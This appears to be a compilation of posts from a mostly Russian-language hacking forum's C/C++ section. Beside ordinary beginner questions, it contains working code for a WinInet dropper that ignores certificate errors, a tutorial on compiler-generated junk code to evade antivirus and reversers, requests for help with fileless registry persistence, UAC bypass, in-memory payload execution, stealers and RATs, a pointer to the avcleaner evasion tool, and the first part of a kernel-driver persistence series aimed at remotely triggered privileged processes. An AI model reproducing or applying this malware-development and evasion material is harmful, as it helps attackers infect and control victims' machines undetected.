![godbolt.org](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fcompiler- explorer%2Finfra%2Fblob%2Fmain%2Flogo%2Ffavicon.png%3Fraw%3Dtrue&hash=58090ab3141d5fe9d67780c7cf2b24d3&return_error=1)
namespace detail { namespace loophole { enum class State { Value }; template
godbolt.org
PS: Всех сишников и просто тех, кто недолюбливает плюсы или абстрактные общие конструкции просьба воздержаться от негатива при комментировании статьи, спасибо.
Написал костыль на С# c использованием windows form в visual studio для подключения по rdp к серверу.
Spoiler: скриншот
при нажатии на кнопку "подключится" - собственно подключается к первому айпи
из списка
собственно при нажатии на кнопку отключиться - отключается от сервера, а при
повторном нажатии на кнопку "подключится" - к следующему айпи.
Вопрос: как это автоматизировать?
Нужно чтоб, он многопоточно подключался к каждому айпи делал скриншот,
отключался и к следующему айпи переходил.
The implementation is rather complex and this domain in software development is rarely documented in layman's terms. This is why there are blog posts which detail every design choice and go over the quirks of working with the LLVM API.
docker build . -t avcleaner
docker run -v ~/dev/scrt/avcleaner:/home/toto -it avcleaner bash #adapt ~/dev/scrt/avcleaner to the path where you cloned avcleaner
sudo pacman -Syu
mkdir CMakeBuild && cd CMakeBuild
cmake ..
make -j 2
./avcleaner.bin --help
For simple programs, this is as easy as:
avcleaner.bin test/strings_simplest.c --strings=true --
However, you should know that you're using a compiler frontend, which can only
work well if you give it the path to ALL the includes required to build your
project. As an example, test/string_simplest.c
includes headers from the
WinSDK, and the script run_example.sh
shows how to handle such scenarios.
CommandLine Error: Option 'non-global-value-max-name-size' registered more than once! LLVM ERROR: inconsistency in registered CommandLine options
In case you encounter this error, please use CMakeLists_archlinux.txt
instead of CMakeLists.txt
and it should go away.
Source Github : https://github.com/scrt/avcleaner
Заранее всех благодарю!!
Подскажите как пампить вес jar файла? у меня есть библиотеки которые сильно
увеличивают весь билда и я не могу понять как его снизить
я как мофрить его тоже чтобы детектов было меньше?
Занимаюсь изучением C++ около 2-3 месяцев, неплохо знаю Python.
Поставил себе задачу написать программу, которая посредством выбора (1 | 2) переводит вводимое число либо из 10 системы счисления в 2, либо наоборот. Вышел вот такой код:
C++:Copy to clipboard
#include <iostream>
#include <vector>
#include <algorithm>
#include <cmath>
#define BINARY 2
int main(int argc, char* argv[]) {
int number;
int i{ 0 }; int sum{ 0 };
int* numptr = &number;
int* sumptr = ∑ int* iptr = &i;
short signed choice;
std::vector<int> bin{};
std::cin >> choice;
std::cin >> number;
switch (choice) {
case 1:
while (*numptr) {
bin.push_back(*numptr % 2);
*numptr /= 2;
}
std::reverse(bin.begin(), bin.end());
for (int i = 0; i < bin.size(); i++) {
std::cout << bin[i];
}
break;
case 2:
while (*numptr) {
bin.push_back(((*numptr) % 10) * pow(BINARY, i));
*numptr /= 10; i++;
}
for (int i = 0; i < bin.size(); i++) {
*sumptr += bin[i];
}
std::cout << sum << std::endl;
break;
}
return 0;
}
Пожалуйста, укажите на мои ошибки, к примеру с указателями, переменными,
расположением ключевых слов в коде и т.п.
Спасибо!
Я сам не готов назвать себя полноценным C++ разработчиком, я больше по части веба, но тем не менее в ознакомительных целях создал данный топик, где выложу вопросы по теме чистки от детектов. Буду рад адекватным ответам.
Есть условный C++ вредонос. И есть у него детект. Вроде как очевидны пути решения детекта сигнатурного, тут вопросов нет. А как грамотно защищаться от детектов, которые выявляются эмуляторами и анализом действий? Или условный нод32 который в память лезет
Чисто техничкски есть предположение, что может помочь добавление всяких доп. действий (включая выделение памяти / взаимодействие с какими-либо файлами / деление циклов) и таким образом мы получим андетект (на время, а потом заменим доп. действия). Верно?
На сколько помогает динамический импорт? Имеет ли смысл морфить имена переменных?
Есть ли какие-то конкретные методики эффективной чистки кода? Или это в любом случае негарантированные "танцы с бубном"?
Заранее извиняюсь, если вопросы дилетантские.
Hi Guys,
I am currently working on Fileless Malware that persists in the Windows registry,
I use mshta to execute a hidden powershell command at the reboot.
I managed to bypass some av like Windows defender or Eset security, even with Injection of shellcode etc.
Now i have 1 problem, Mcaffe blocks every executed mshta command.
What can i use for fileless persistence and in my uac bypass exploit to run a powershell command without any poping powershell Windows?
Thank you for your help!
1. don't use C/C++
2. If you really really need to, I always found it beneficial to learn a bit
of assembly (esp. memory operations / memory model as seen from a usermode
application), and look at
A question for those with experience: What are some sources for learning these
matters, especially assembly? What projects are suitable for immersion and
what is the difference between assembly language
Возможно ли такое написать и сколько это будет стоить?
Помогите понять в чем ошибка, не получается провести декрипт. Приложил рабочий
вариант на Python.
Сравнил hex значения всех параметров (salt, iv, key, cipher) - совпадают с тем
что в Python.
C++:Copy to clipboard
#include <iostream>
using std::cerr;
using std::cout;
using std::endl;
using std::string;
#include <vector>
using std::vector;
#include <string>
using std::string;
#include "cryptopp/hex.h"
using CryptoPP::HexDecoder;
using CryptoPP::HexEncoder;
#include "cryptopp/cryptlib.h"
using CryptoPP::AuthenticatedSymmetricCipher;
using CryptoPP::BufferedTransformation;
#include "cryptopp/filters.h"
using CryptoPP::AuthenticatedDecryptionFilter;
using CryptoPP::AuthenticatedEncryptionFilter;
using CryptoPP::Redirector;
using CryptoPP::StringSink;
using CryptoPP::StringSource;
#include "cryptopp/aes.h"
using CryptoPP::AES;
#include "cryptopp/sha.h"
using CryptoPP::SHA256;
#include "cryptopp/pwdbased.h"
using CryptoPP::PKCS5_PBKDF2_HMAC;
#include "cryptopp/gcm.h"
using CryptoPP::GCM;
#include "cryptopp/base64.h"
using CryptoPP::Base64Decoder;
using CryptoPP::byte;
#include "assert.h"
int main(int argc, char *argv[])
{
// purpose
byte unused = 0;
// password
byte password[] = "Caa5f6daa8#..";
size_t plen = strlen((const char *)password);
// salt
string salt_b64 = "1In+R0F1apmcIOjpkBDRSm3S65OGI3MV02ECZtU2hRY=";
string salt_temp;
StringSource ss(salt_b64, true, new Base64Decoder(new StringSink(salt_temp)));
const byte *salt = (const byte *)salt_temp.data();
size_t slen = strlen((const char *)salt);
// key
byte key[SHA256::DIGESTSIZE];
PKCS5_PBKDF2_HMAC<SHA256> pbkdf;
pbkdf.DeriveKey(key, 32, unused, password, plen, salt, slen, 10000);
// iv
string iv_b64 = "zbIzYeha9QW4hjw7eAPyYg==";
string iv_temp;
StringSource ss2(iv_b64, true, new Base64Decoder(new StringSink(iv_temp)));
const byte *iv = (const byte *)iv_temp.data();
size_t ivlen = strlen((const char *)iv);
// cipher
string cipher_b64 = "CSESV6gQenLzp+AGy9MypU2lBKjxOiCOXUU+xLYkOb8zYGrNOMw0JkgNWW/PH+184k1jYL2phcinsRd+OWidpSAca9z/w1eVpghvVfFYQ0Z6bp54BAxHHZO4DcWcGSBdpKEmAo4S3pzup6wpSnnupaqyImDQl7pwEg1KmqCQSocnKt3DJzzE/MxOW8byKwqh93bkwwIU9aX+/UJU5e23BU8b1bP2WeFc81huGRDyZS5Mz2OmVJAgfqRdBdXcGByLLp6wq/eDdm04vHw23IJdenU42Pdci8Mt4qdKI9ISfjX4RECE70mPpVtCz032CD/QhZdcwiJM1mwDw/7MOLh2OLwxEBHCdFsdzWfa/qpYHAOaJdt5M3TMB6Mu9Z15KkjBBBfm/WCd26JyhBFywmN6QuDuPsED2Nagz2SFFfyFJssMoAcrtzNC1VYh4q/5vdeNoHGh0lKwkXmmKmOat9GVHq8eDgT5RK3yvPaICbvQNCZ6OEOFrAwvt0asW1PfNgLQoLrbCa5et5B+XzUkzISknItDV9panBLIwOBsb9K3GJJ1BcgwOjHPe2u2XkcXwdRlcGGD3imJZnPEd+m+Kv1VbH2lNcKZ5LXZPYFyszr/+7SDO6PYx+7YJB9ewEpc10AYZ/fMnpOAh6ozDpZwMRwapAbOMhZf";
string cipher_temp;
StringSource ss3(cipher_b64, true, new Base64Decoder(new StringSink(cipher_temp)));
const byte *cipher_full = (const byte *)cipher_temp.data();
size_t cipher_full_len = strlen((const char *)cipher_full);
vector<byte> cipher_vector(cipher_full, cipher_full + cipher_full_len);
vector<byte> cipher_vector_shrinked;
cipher_vector_shrinked = vector<byte>(cipher_vector.begin(), cipher_vector.end() - 16);
byte *cipher = &cipher_vector_shrinked[0];
size_t cipher_len = strlen((const char *)cipher);
// decrypt
const int TAG_SIZE = 12;
GCM<AES>::Decryption d;
d.SetKeyWithIV(key, sizeof(key), iv, ivlen);
string rpdata;
AuthenticatedDecryptionFilter df(d, new StringSink(rpdata), AuthenticatedDecryptionFilter::DEFAULT_FLAGS, TAG_SIZE);
StringSource ss4(cipher, true, new Redirector(df));
cout << "Recovered: " << rpdata << endl;
return 0;
}
Python:Copy to clipboard
import base64
import hashlib
from Crypto.Cipher import AES
password = "Caa5f6daa8#.."
cipher_b64 = "CSESV6gQenLzp+AGy9MypU2lBKjxOiCOXUU+xLYkOb8zYGrNOMw0JkgNWW/PH+184k1jYL2phcinsRd+OWidpSAca9z/w1eVpghvVfFYQ0Z6bp54BAxHHZO4DcWcGSBdpKEmAo4S3pzup6wpSnnupaqyImDQl7pwEg1KmqCQSocnKt3DJzzE/MxOW8byKwqh93bkwwIU9aX+/UJU5e23BU8b1bP2WeFc81huGRDyZS5Mz2OmVJAgfqRdBdXcGByLLp6wq/eDdm04vHw23IJdenU42Pdci8Mt4qdKI9ISfjX4RECE70mPpVtCz032CD/QhZdcwiJM1mwDw/7MOLh2OLwxEBHCdFsdzWfa/qpYHAOaJdt5M3TMB6Mu9Z15KkjBBBfm/WCd26JyhBFywmN6QuDuPsED2Nagz2SFFfyFJssMoAcrtzNC1VYh4q/5vdeNoHGh0lKwkXmmKmOat9GVHq8eDgT5RK3yvPaICbvQNCZ6OEOFrAwvt0asW1PfNgLQoLrbCa5et5B+XzUkzISknItDV9panBLIwOBsb9K3GJJ1BcgwOjHPe2u2XkcXwdRlcGGD3imJZnPEd+m+Kv1VbH2lNcKZ5LXZPYFyszr/+7SDO6PYx+7YJB9ewEpc10AYZ/fMnpOAh6ozDpZwMRwapAbOMhZf"
iv_b64 = "zbIzYeha9QW4hjw7eAPyYg=="
salt_b64 = "1In+R0F1apmcIOjpkBDRSm3S65OGI3MV02ECZtU2hRY="
encrypted_data = base64.b64decode(cipher_b64)
salt = base64.b64decode(salt_b64)
vector = base64.b64decode(iv_b64)
key = hashlib.pbkdf2_hmac("sha256", password.encode("utf8"), salt, 10000, dklen=32)
cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
decrypted_data = cipher.decrypt(encrypted_data[:-16]).decode("utf8")
print(decrypted_data)
Интересует пока идея по виндовс дефендеру
Решил попробовать сделать авторан на C++. Все функции скрываю.
Методом тестов понял, что методика ярлыков детектится.
Установка значений реесра в пути HKEY_CURRENT_USER детектится,
Установка значений реестра HKEY_LOCAL_MACHINE можно сказать тоже
детектится,(не кричит, всё гуд как кажется) только винда тупо не даёт
поставить значения в реестре- и после перезапуска нон ворк. (И права админа не
помогают)
Может ли кто подсказать идеи, куда копать?
Не получается запустить бинарные данные в памяти программы
Я не так много в c++, но мне надо считать бинарные данные в файла output.bin, и запустить их в памяти моей программы, как это сделать? Я пытался всяко разно это сделать, но все безуспешно.. Даже chat gpt толком не помог
Я так понял что нужно использовать WriteProcessMemory, VirtualAllocEx, OpenProcess. Но спустя десятки попыток и переделок программы у меня не выходит, можете дать направление или решение для этой задачи? Или хотя бы сказать правильно ли я иду или не туда
ПОМОГИТЕ!!
A RAT written in C++ or C# then:
1/ Which language should be given priority?
2/ What criteria are used to evaluate good quality RAT and poor quality RAT?
Thanks all.
Эксперты в яп C# помогите пожалуйста научиться писать вирусы на C#
Всех приветствую.
Уже как полтора года занимаюсь целенаправленным обходом аверов, и часто
сталкиваюсь с одной проблемой.
Есть два крипта:
1. Не имеет CRT-зависимостей, LoadPE обработка, динамический импорт по Hash,
обход дефендера, хранение payload в коде, генерация WinAPI из разных
библиотек.
2. CRT проект, в котором используется RunPE, payload (XOR in .data),
отсутствие обфускации исходного кода, дефендер не орет.
Отличает их одно.
Первый крипт (почему-то) живет довольно мало, через сутки появляются первые
детекты ESET и Avast.
Второй крипт живет минимум сутки, весит в районе 1МБ.
Что не так? Буду признателен в помощи.
При написании софта иногда необходимо скрыть его код от посторонних глаз,
запутать реверсера (или антивирус), чтобы софт не крякнули (или чтобы софт не
палился антивирусами).
Одним из способов это сделать является генератор мусорного кода, который
создает бессмысленные инструкции с целью разбавить ими код, выполняющий
реальную работу.
Хоть тема генерации мусора не раз упоминалась в статьях на этом форуме, но в
основном мусор генерировался на уровне ассемблера, из-за чего итоговый
бинарник не похож на работу реального компилятора,
так что реверсер с наметанным глазом, или хорошо обученная ИИшка, смогут
раскусить этот код, но что если заставить генерировать мусор сам компилятор?
Основная идея заключается в том, чтобы вручную написать подобные блоки мусора
(проявите фантазию):
C++:Copy to clipboard
inline unsigned Block(unsigned dummy) {
unsigned result = dummy;
for (int i = 0; i < dummy % 1024; i++) {
result *= 2;
result += i;
}
return result + dummy;
}
Важно: каждый блок должен быть inline (а лучше __forceinline, или, для gcc,
always_inline), чтобы мусор был встроен в место вызова
И каким-то образом вызывать блоки в случайном порядке, причем порядок должен
определяться во время компиляции, а сам мусор должен инлайниться в место
вызова.
Так же должна быть возможность указывать количество мусора для генерации (не
писать же подряд 50 вызовов Junk(); Junk(); Junk(); подряд).
Сначала решим проблему с указанием количества мусора, напишем вспомогательную
функцию constexpr for (аналог constexpr if, честно позаимстовованный уже не
помню откуда):
C++:Copy to clipboard
template <auto Start, auto End, auto Inc, class F>
constexpr void constexpr_for(F&& f) {
if constexpr (Start < End) {
f(std::integral_constant<decltype(Start), Start>());
constexpr_for<Start + Inc, End, Inc>(f);
}
}
Все просто, в шаблонные параметры запихиваем количество итераций и значения
откуда и куда итерироваться, а в обычный параметр пихаем лямбду, и constexpr
чтобы это все считалось в compile time.
Теперь надо как-то вызывать в цикле блоки мусора, выбирая блок случайно во
время компиляции:
C++:Copy to clipboard
template <unsigned Seed, int Amount>
inline unsigned GenerateJunk(unsigned dummy) {
unsigned result;
constexpr auto kBlocksAmount = 3;
constexpr_for<0, Amount, 1>([&](auto i) {
if constexpr ((Seed * i) % kBlocksAmount == 0) {
result *= Block1(dummy);
} else if constexpr ((Seed * i) % kBlocksAmount == 1) {
result *= Block2(dummy);
} else if constexpr ((Seed * i) % kBlocksAmount == 2) {
result *= Block3(dummy);
}
});
return result;
}
Для работы этого кода надо где-то объявить функции Block1, Block2 и Block3,
C++:Copy to clipboard
Seed * i
- это и есть та самая часть, которая отвечает за случайность порядка вызова, Seed должен быть определен во время компиляции, а умножение на i для того, чтобы каждую итерацию цикла не генерировался одинаковый мусор, constexpr if гарантирует, что порядок будет вычислен не в рантайме.
C++:Copy to clipboard
result *= Block1...
чтобы компилятор не оптимизировал весь мусор и не выкинул его из
результирующего бинаря.
Пример использования фунции:
C++:Copy to clipboard
GenerateJunk<__LINE__, x>
В качестве первого шаблонного параметра - любое рандомное число, известное в
compile time (LINE, COUNTER, TIME), в качестве второго - любое
число, которое ТОЧНО не будет известно во время компиляции,
ведь если компилятор будет знать это число он может выполнить весь мусор во
время компиляции и подставить результат в место вызова, выкинув весь мусор из
бинарника. Так же обязательно надо использовать число, которое вернул мусор
для создания побочных эффектов (например указать это число как код возврата,
или напечатать его в консоли), иначе компилятор вырежет весь этот код т.к. его
результат не используется.
Итоговый результат: https://godbolt.org/z/311eKqjWc
15 тысяч строк ассемблера, но даже с __forceinline мусор заинлайнился не
полностью (в коде main есть какие-то переходы, умножения но сложно понять что
они значат даже с подсказками godbolt), так что практической ценности этот код
имеет мало, но думаю если его допилить, поиграться с флагами компилятора,
заставив его это все инлайнить, добавить побольше блоков, может получиться
что-то годное для реального применения
Я хочу сделать генерацию кода и компиляцию кода внутри приложения на c/c++(90% кода на с++). Как это возможно сделать, желательно без триллиона кода? Пишу приложение на базе imgui
Недавно начал учить Малварь кодинг по мануалу Quake3 и нахожусь на фазе изучения языка C, и вот недавно появился у меня этот самый вопрос, с одной стороны нужно чтобы итоговый малварь имел очень маленький вес и был стабилен, с другой стороный компиляторы по типу TCC могут повлиять на работаспособность (как мне сказал интернет), поэтому выбор пал на Clang (у GCC итоговый вес больше даже если использовать флаги для оптимизации)
А какой вы используйте и почему ?
P.S Поставил себе цель написать стиллер если это имеет значение
Всем привет. Решил написать самый примитивный дроппер на плюсах. Юзаю WinInet.
Скачивание файла происходит по прямой ссылке с файлообменника. На моей ВДС
Windows Server 2019 все отлично работает, файл скачивается. Запускаю на голой
системе Windows 7 без драйверов и тд, где установлен только Internet Explorer
по дефолту. В итоге вылетает ошибка ERROR_INTERNET_SECURITY_CHANNEL_ERROR
12157 The application experienced an internal error loading the SSL
libraries - код ошибки с MSDN.
Код:
C++:Copy to clipboard
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <vector>
#pragma comment(lib,"wininet")
using namespace std;
int main(int argc, char* argv[])
{
ios::sync_with_stdio(0);
cin.tie(0);
cout.tie(0);
if (argc == 1)
{
cout << "0 arguments were passed!";
return 1;
}
if (argc == 2)
{
cout << "No output file name!";
return 1;
}
vector <LPCSTR> names;
vector <LPCSTR> urls;
for (int i = 0; i < argc; i += 2)
{
if (i != 0)
{
names.push_back(argv[i]);
}
}
for (int i = 1; i < argc; i += 2)
{
urls.push_back(argv[i]);
}
cout << "Start download" << endl;
for (int i = 0; i < urls.size(); i++)
{
HINTERNET hInternetSession;
HINTERNET hURL;
DWORD dwBytesRead = 1;
hInternetSession = InternetOpen(
L"tes",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL, 0
);
if (!hInternetSession)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
system("pause");
return 1;
}
hURL = InternetOpenUrlA(
hInternetSession,
urls[i],
NULL, 0, INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_DONT_CACHE |
INTERNET_FLAG_SECURE |
INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
INTERNET_DEFAULT_HTTPS_PORT,
0
);
if (!hURL)
{
cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;
system("pause");
return 1;
}
DWORD fileSize = 0;
DWORD lenFileSize = sizeof(DWORD);
HttpQueryInfo(
hURL,
HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
&fileSize,
&lenFileSize,
NULL
);
float tb = 1099511627776;
float gb = 1073741824;
float mb = 1048576;
float kb = 1024;
string size_prefix_str;
float size;
if (fileSize >= tb)
{
size_prefix_str = " TB";
size = tb;
}
else if (fileSize >= gb && fileSize < tb)
{
size_prefix_str = " GB";
size = gb;
}
else if (fileSize >= mb && fileSize < gb)
{
size_prefix_str = " MB";
size = mb;
}
else if (fileSize >= kb && fileSize < mb)
{
size_prefix_str = " KB";
size = kb;
}
else if (fileSize < kb)
{
size_prefix_str = " Bytes";
size = 1;
}
else
{
size_prefix_str = " Bytes";
size = 1;
}
char buf[1024];
DWORD dwTemp;
HANDLE hFile = CreateFileA(names[i], GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
);
if (!hFile)
{
cout << "CreateFileA failed! Error " << GetLastError() << endl;
system("pause");
return 1;
}
if (INVALID_HANDLE_VALUE == hFile)
{
cout << "ERROR INVALID_HANDLE_VALUE " << GetLastError() << endl;
system("pause");
return 1;
}
float current_byte = 0.0;
int percent = 0;
int old_percent = 0;
string s;
for (; dwBytesRead > 0;)
{
if (!InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead))
{
cout << "InternetReadFile failed! Error " << GetLastError() << endl;
system("pause");
return 1;
}
current_byte += dwBytesRead;
percent = (current_byte / fileSize) * 100;
if (percent % 5 == 0 and percent != old_percent)
{
system("cls");
cout << names[i] << "[" << i + 1 << "/" << names.size() << "] " << current_byte / size << size_prefix_str << " of " << fileSize / size << size_prefix_str << " - " << percent << "%\n";
old_percent = percent;
}
WriteFile(hFile, buf, dwBytesRead, &dwTemp, NULL);
}
cout << "Downloaded" << endl;
InternetCloseHandle(hURL);
InternetCloseHandle(hInternetSession);
CloseHandle(hFile);
}
system("pause");
return 0;
}
Ошибка на 79 строчке.
C++:Copy to clipboard
if (!hURL)
{
cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;
system("pause");
return 1;
}
P.S. на говнокод не обращайте внимание, делал быстро на коленке и к релизу обязательно перепишу. Главное сейчас решить ошибку
Мне хотелось бы писать читы/стиллеры и тп.
заранее спасибо за ответ
Введение
Этот пост, как следует из названия, будет посвящен написанию драйверов ядра Windows для расширенного Персистенса. Поскольку тема довольно сложная, я решил разделить проект на три или четыре части. Это первая статья в серии, в ней будет представлена основная информация, которую вам необходимо знать, чтобы начать разработку ядра. Она включает настройку среды разработки, настройку удаленной отладки ядра и написание вашего первого драйвера «Hello World».
Если все пойдет по плану, последующие посты серии будут посвящены следующим темам:
Часть 2: Создание сетевого триггера для удаленного управления драйвером ядра
Часть 3: Создание процессов из ядра
В итоге у вас должен быть драйвер, который можно запускать удаленно с помощью пользовательского сетевого пакета для создания высокопривилегированных процессов в целевой системе. С учетом сказанного, давайте начнем!
Отказ от ответственности
Я пишу эти сообщения в блоге, когда сам изучаю и продвигаюсь по этой теме. Поэтому мне может потребоваться некоторое время, чтобы опубликовать последующие сообщения. Спасибо за ваше терпение и не стесняйтесь обращаться ко мне, если вы обнаружите какие-либо ошибки.
Требования
Чтобы приступить к разработке драйверов ядра, вам сначала нужно настроить лабораторную среду. Вот минимальные требования, которые вам понадобятся для начала работы:
64-битный процессор (4+ ядра)
8 ГБ ОЗУ
96 ГБ доступной памяти
Учетная запись Microsoft (для Visual Studio )
Программное обеспечение для виртуализации
Я буду использовать VMWare Workstation 16, однако можно использовать любое
программное обеспечение, поддерживающее виртуализацию.
Windows 10 или 11 ISO
В качестве альтернативы вы также можете использовать тестовый образ MSEdge.
Лабораторная установка
Для лабораторной установки потребуются 2 виртуальные машины (ВМ). Один для разработки, а другой для тестирования драйвера ядра. Если вы планируете работать над этим проектом на компьютере с Windows, можно обойтись только тестовой виртуальной машиной. Однако для этого вам потребуется установить все инструменты разработки на хост-компьютере, чего я бы не рекомендовал.
Если вам интересно, зачем вам отдельная виртуальная машина для тестирования, есть несколько причин.
- Для эффективной отладки ядра необходима отдельная тестовая виртуальная машина, так как локальная отладка ядра имеет множество ограничений, таких как невозможность установки правильных точек останова.
-Из-за критической природы ядра незначительные ошибки в коде драйвера могут привести к появлению в системе синих экранов смерти ( BSOD ), поскольку ядро, в отличие от пользовательских процессов, использует единое пространство памяти для всех своих драйверов и других ресурсов.
С этим покончено, давайте запачкаем же руки.
Лабораторная сеть
Прежде чем мы начнем настраивать виртуальные машины, давайте настроим тестовую сеть.
Сначала откройте редактор виртуальной сети VMWare от имени администратора:
Затем нажмите на Add Network... и выберите любую неназначенную сеть ( в моем случае VMNet19 ):
После нажатия OK вы должны вернуться в главное меню и должны увидеть только что созданную сеть в своем списке сетей. Выберите её и настройте с помощью адаптера только для хоста вместе с соответствующей информацией о подсети.
В этой статье я буду работать с подсетью 10.10.20.0/24, где виртуальной машине разработки будет присвоен IP-адрес 10.10.20.2 , а виртуальной машине тестирования — IP-адрес 10.10.20.3
Примечание
Поскольку сеть только для хоста не обеспечивает доступ к Интернету для виртуальных машин, важно назначить обеим виртуальным машинам два разных сетевых адаптера, например адаптер NAT и адаптер, который мы только что создали. Сеть NAT обеспечит доступ в Интернет для обеих виртуальных машин, а сеть только для хоста будет использоваться для связи между ними.
Одним из преимуществ этой настройки является то, что после настройки обеих машин мы можем удалить адаптер NAT с обеих виртуальных машин, чтобы получить изолированную сеть без исходящего доступа в Интернет. Это устраняет риск случайной отправки образца антивирусу и позволяет нам также изменять настройки брандмауэра виртуальных машин, не опасаясь атак из локальной сети.
Отказ от ответственности
Сообщение в блоге охватывает только установку необходимых компонентов для разработки ядра. Читатель должен завершить настройку, установив виртуальные машины Windows и настроив статические IP-адреса.
ВМ для разработки
Виртуальная машина разработки — это машина, на которой будет выполняться большая часть работы, поэтому я рекомендую выделить ей как минимум 4 ядра, 6 ГБ ОЗУ и 64 ГБ хранилища. Лично я буду использовать Windows 11 22H2, но Windows 10 будет работать отлично. Имея это в виду, давайте перейдем к фактической настройке.
Visual Studio 2022
По понятным причинам вам потребуется установить Visual Studio. При установке Visual Studio обязательно выберите разработку для настольных ПК с рабочей нагрузкой C++ и библиотеками устранения рисков Spectre. Если вы не можете найти библиотеки защиты, найдите их на вкладке «Отдельные компоненты».
Windows SDK
Нам также необходимо установить Windows Software Development Kit (SDK). Этот SDK содержит всю документацию, заголовочные файлы, библиотеки, примеры и инструменты, необходимые для разработки приложений для Microsoft Windows.
Больше ничего не нужно говорить. Как только вы начнете установку SDK, просто щелкайте по подсказкам установки, пока все не будет завершено.
Windows WDK
Помимо SDK нам также понадобится комплект драйверов Windows (WDK). WDK используется для разработки, тестирования и развертывания драйверов для Windows. При установке WDK обязательно установите расширение комплекта драйверов Visual Studio для Windows.
Примечание. Для правильной установки расширения необходимо закрыть Visual Studio .
WinDbg
Нам также понадобится отладчик. В этом случае мы будем использовать отладчик Windows ( WinDbg Preview ), который является важным инструментом для разработки ядра. В основном он будет использоваться для устранения неполадок нашего драйвера ядра в случае сбоев или неожиданного поведения.
Общий сетевой ресурс (необязательно)
В Visual Studio у нас есть возможность создавать так называемые события после сборки , которые могут запускать для нас множество полезных команд после того, как мы скомпилируем наш драйвер. Одним из таких событий после сборки, которое можно создать для упрощения процесса разработки, является копирование скомпилированного драйвера в папку (настроенную как сетевой ресурс). Этот сетевой ресурс будет использоваться для хранения всех встроенных драйверов, к которым может получить доступ тестовая виртуальная машина.
Если вы настроили свою лабораторию в соответствии с моими рекомендациями, вы можете избавить себя от необходимости настраивать общий ресурс с надлежащими элементами управления доступом и разрешениями. Просто дайте всем разрешения RWX, и все готово.
В конечном итоге ваша установка должна выглядеть примерно так:
Тестирование ВМ
Спецификации тестируемой виртуальной машины не имеют большого значения. Просто не забудьте дать ему достаточно мощности. Например, моя тестовая виртуальная машина была сконфигурирована с 2 ядрами, 4 ГБ ОЗУ и 32 ГБ хранилища. Опять же, он работает под управлением Windows 11 22H2, но у вас не должно быть никаких проблем, если вы используете Windows 10.
Данные конфигурации загрузки (BCD)
Далее нам нужно настроить BCD с помощью bcdedit команды. Откройте административную подсказку и введите следующие команды:
Первая команда включает отладку ядра, а вторая включает тестовую подпись. Отладка ядра позволяет нам отлаживать ядро машины, в то время как тестовая подпись отключает проверку подписи драйверов, позволяя нам загружать и тестировать наши пользовательские драйверы без необходимости соблюдать строгие правила безопасности драйверов Microsoft.
Обратите внимание, что включение тестовой подписи приведет к отображению предупреждающего водяного знака в правом нижнем углу машины:
Наконец, нам нужно включить удаленную отладку. Для этого мы можем использовать команду, аналогичную приведенной ниже:
Просто обратите внимание на то, чтобы задать hostip для свойства IP-адрес виртуальной машины разработки и установить для порта значение от 50000 до 50039. Кроме того, будьте осторожны, чтобы не перепутать IP-адреса машин разработки и тестирования. В этом случае мы хотим ввести IP-адрес компьютера для разработки, чтобы он мог подключиться к порту отладки.
Если все прошло так, как ожидалось, вы должны увидеть сгенерированный ключ, отображаемый в консоли:
Значение удаленной отладки будет объяснено позже. На данный момент убедитесь, что вы отложили сгенерированный ключ.
Брандмауэр
Чтобы предотвратить прерывания во время удаленной отладки, мы отключим брандмауэр. Для этого вы можете либо использовать графический интерфейс, либо выполнить следующую команду в административной строке:
Кроме того, вы также можете внести порт отладки в белый список через настройки, если вы предпочитаете не отключать брандмауэр полностью.
Отладка фильтра печати
Чтобы обеспечить вывод всех сообщений отладки ядра в отладчик, необходимо настроить фильтр печати отладки . Можно использовать следующую команду:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter" /v Default /t REG_DWORD /d 0xf
Обратите внимание, что для того, чтобы это изменение вступило в силу, компьютер необходимо перезагрузить. Неважно, перезагрузите ли вы виртуальную машину сейчас или после ее настройки. Просто не забудьте перезагрузить его в какой-то момент.
Загрузчик драйверов OSR
OSR Driver Loader — это инструмент, который мы будем использовать для загрузки или «выполнения» нашего драйвера. Одно из основных преимуществ использования загрузчика OSR вместо ручной настройки служб Windows заключается в том, что он содержит удобный графический интерфейс пользователя, что упрощает его использование.
Улучшения QoL (необязательно)
Вот несколько дополнительных советов, которые могут помочь сэкономить время:
Если вы настроили сетевую папку, содержащую встроенные драйверы, вы можете смонтировать ее и добавить в удобное место, например на рабочий стол.
Поскольку вы, скорее всего, будете бесчисленное количество раз сталкиваться с синим экраном во время тестирования драйвера, может быть полезно включить автоматический вход в систему без пароля и сделать снимок работающей виртуальной машины, чтобы вы могли легко вернуться к ней в случае серьезного сбоя.
Разработка драйверов
Наконец-то мы можем начать процесс разработки!
Присоединение WinDbg
При включенной удаленной отладке ядра вы сможете удаленно подключаться к ядру тестируемой виртуальной машины из виртуальной машины разработки.
Для этого откройте свой компьютер для разработки и запустите WinDbg. Зайдите в главное меню и выберите Attach to kernel:
В Net подменю введите сведения о тестируемой ВМ:
В моем случае IP-адрес тестируемой ВМ — 10.10.20.3, порт — 50039 и ключ — это значение, которое я сказал вам сохранить ранее (ваш ключ будет другим).
После нажатия OK вы должны быть подключены к ядру тестовой машины:
С этого момента вы можете устанавливать точки останова, проверять адреса памяти и многое другое. Просто имейте в виду, что если вы установите точку останова, тестируемая виртуальная машина может перейти в приостановленное (замороженное) состояние. Вам нужно будет удалить все точки останова, чтобы виртуальная машина возобновила работу. Кроме того, WinDbg также будет использоваться для проверки вызовов отладочной печати из нашего драйвера. Поскольку у драйверов нет консоли, использование отладчика для просмотра сообщений — единственный доступный нам вариант.
Создание проекта
